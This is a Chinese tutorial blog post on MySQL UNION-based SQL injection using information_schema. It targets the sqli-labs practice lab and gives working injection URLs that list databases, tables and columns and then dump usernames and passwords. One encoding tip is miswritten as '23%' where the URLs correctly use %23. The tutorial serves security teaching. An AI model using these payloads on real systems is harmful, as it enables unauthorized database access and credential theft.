mysql 注入 information_schema_SQL注入中information_schema的利用

SQL注入中经常会碰到 PHP + MySQL 的情况,此时可以尝试通过 INFORMATION_SCHEMA 库来查询想要的信息。

0x01 在 MySQL 的注入中,通常用 --+ 和 # 这两种注释符号来注释后面的语句,但是在 URL 中使用 # 会被当做 URL 的锚点不起作用,所以在使用 # 注释符时需要将其编码为 23%。

0x02 通过 information_schema 数据库查询 MySQL 中所有的数据库名:

SELECT schema_name FROM information_schema.schemata;

http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%23

0x03 通过 information_schema 数据库查询 MySQL 中当前数据库的所有表名:

SELECT table_name FROM information_schema.tables WHERE table_schema=database();

http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%23

0x04 通过 information_schema 数据库查询 MySQL 中指定数据库的所有表名:

在指定数据库名时需要将数据库名转换为字符对应的十六进制,

如:dvwa -> 0x64767761

SELECT table_name FROM information_schema.tables WHERE table_schema=0x64767761;

http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x64767761%23

0x05 通过 information_schema 数据库查询 MySQL 中当前数据库某个表的所有列名:

SELECT column_name FROM information_schema.columns where table_name=hex_table_name and table_schema=database();

http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273%20and%20table_schema=database()%23

0x06 查询表中的某个字段

SELECT id,username,password FROM users;

http://172.31.18.118/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(id,0x7e,username,0x7e,password),3%20from%20users%20%23

其中 0x7e 为 ~ 的十六进制编码,主要用来分隔各个字段的值。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值